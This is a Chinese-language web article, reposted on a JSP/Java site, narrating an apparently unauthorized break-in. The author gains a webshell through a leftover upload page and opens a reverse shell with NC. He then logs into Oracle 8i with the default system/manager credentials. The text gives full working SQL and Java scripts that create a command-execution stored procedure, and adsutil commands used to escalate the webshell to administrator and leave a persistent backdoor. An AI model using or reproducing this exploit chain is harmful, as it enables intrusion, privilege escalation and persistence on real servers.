网站首页
JSP空间
动态资讯
开源项目
技术文档
资源下载
J2EE资源
客户论坛
在线支付
 
  技术文档>>数据库技术>>Oracle技术>>Oracle开发>查看文档  
  利用Oracle系统账户默认口令提升权限     
  文章作者:未知  文章来源:未知  
  查看:237次  录入:管理员--2007-04-23  
  近日,偶到一主机上逛了一圈。主机的配置还算是安全,偏偏一个比较隐藏的目录下残留了upfile.asp,结果轻轻松松的得到了webshell。

  接着在主机上逛了逛,拿出superscan从外面扫了下,只开放了80端口。

  从user\程序目录里,发现有一快捷方式:firecontrol,好象是某款硬件防火墙的控制台。WEBSHELL下检测了下开放的服务,发现一般的可提权的方法都不可行,无SERV-U等等,主机的补丁也是打到了最新。

  试了下传了个NC上去,反连接得到一SHELL,这下比在老兵的管理器里舒服多了。 在C盘下看到一个目录oracle,看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件,确定了主机的服务名“xxx”,看了下版本“oracle 8i”,用数据库连接器 Provider=MSDAORA.1;Password=manager;User ID=system;DataSource=xxxx试了下默认的system账户,密码manager,结果真的就连接到了本地的oracle服务。

  这下好了,oracle的system账户就像是mssql下的sa,我们来通过他来提升权限,马上编辑了几个脚本。
 
  1.sql create or replace and compilejava source named "Util"asimport java.io.*;import java.lang.*; public class Util extends Object{public static int RunThis(String args){Runtime rt = Runtime.getRuntime();int rc = -1; try{Process p = rt.exec(args);int bufSize = 4096;BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);int len;byte buffer[] = new byte[bufSize];// Echo back what the program spit outwhile ((len = bis.read(buffer, 0, bufSize)) != -1)System.out.write(buffer, 0, len); rc = p.waitFor();}catch (Exception e){e.printStackTrace();rc = -1;}finally{return rc;}}}
 
  2.sql create or replacefunction RUN_CMD(p_cmd in varchar2) return numberaslanguage javaname 'Util.RunThis(java.lang.String) return integer';
 
  3.sql create or replace procedure RC(p_cmd in varchar2)asx number;beginx := run_cmd(p_cmd);end;保存在c:\下,然后用反连接得到的shell运行sqlplussystem/manager@xxx然后再来执行脚本。

SQL>@C:\1.sqlSQL>@C:\2.sqlSQL>@C:\3.sql

看到JAVA已创建、函数已创建、过程已创建,接着我们继续
SQL> variable x number;SQL> set serveroutput onSQL> exec dbms_java.set_output(100000);SQL>grant javasyspriv to system
看到授权成功。接着我们就可以来执行系统命令了。
我想先把ASP.dll加入特权一组

SQL>exec :x := RUN_CMD('cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "c:\winnt\system32\inetsrv\asp.dll" ');

看到过程已经成功完成,这个时候我们重新登陆我们的webshell,他已经具有admin权限了。接着,再用NC返回一个shell,已经是管理权限的,我们可以做我们想干的事了。因为这个主机有防火墙过滤除80以外的端口,所以不好做图形的后门,只有留下一有权限的webshell。

 
 
上一篇: Oracle数据仓库的分层管理器解决方案    下一篇: Oracle与Access表之间的导入和导出
  相关文档
Oracle数据库中的特权和角色 09-29
讲解oracle数据库ora-00257故障的解决过程 (1) 07-15
Oracle数据库较好的十种重新启动步骤 04-23
深入讲解如何才能杀掉带锁的oracle进程 02-01
Oracle数据库如何查询记录时给记录加锁 06-10
0racle-07445 错误的解决方法和处理过程 09-29
详细讲解"oracle"服务器的常用命令行 03-14
oracle数据库管理员经常使用的表和视图 (1) 03-03
用Oracle 10g新的行时间戳捕捉变化 04-11
调用存储过程时注意要使用output做修饰符 04-09
个人经验总结──生产环境下的备份方案 06-10
如何使用pl/sql读取数据库中的blob对象 03-27
怎样将"oracle"的外部表汉字转换为拼音 03-07
Oracle中用脚本跟踪存储过程实例讲解 04-11
怎样在数据字典中直接修改oracle表列名 11-15
redo copy latch未命中率并不需要调整 04-16
数据库基础:oracle数据库中时间问题比较 09-11
轻松掌握oracle peeking 绑定变量的控制 11-15
oracle 11g最有特点的五大特性都有哪些 01-28
可以实现故障预防 探测和恢复的maa结构 05-04
返回首页 | 关于我们 | J网章程 | JSP空间合租 | 客服中心 | 免责声明 | 常见问题 | 参观机房
本站主机空间代理至厦门市华众网络科技有限公司
《中华人民共和国增值电信业务经营许可证》
编号:闽B2-20050079
@2005-2008福建JSP技术网 版权所有 闽ICP备05000928号
厦门(总部):13616026886 福州:0591-87655121
邮箱:admin@fjjsp.com 站长QQ,点击这里给我发消息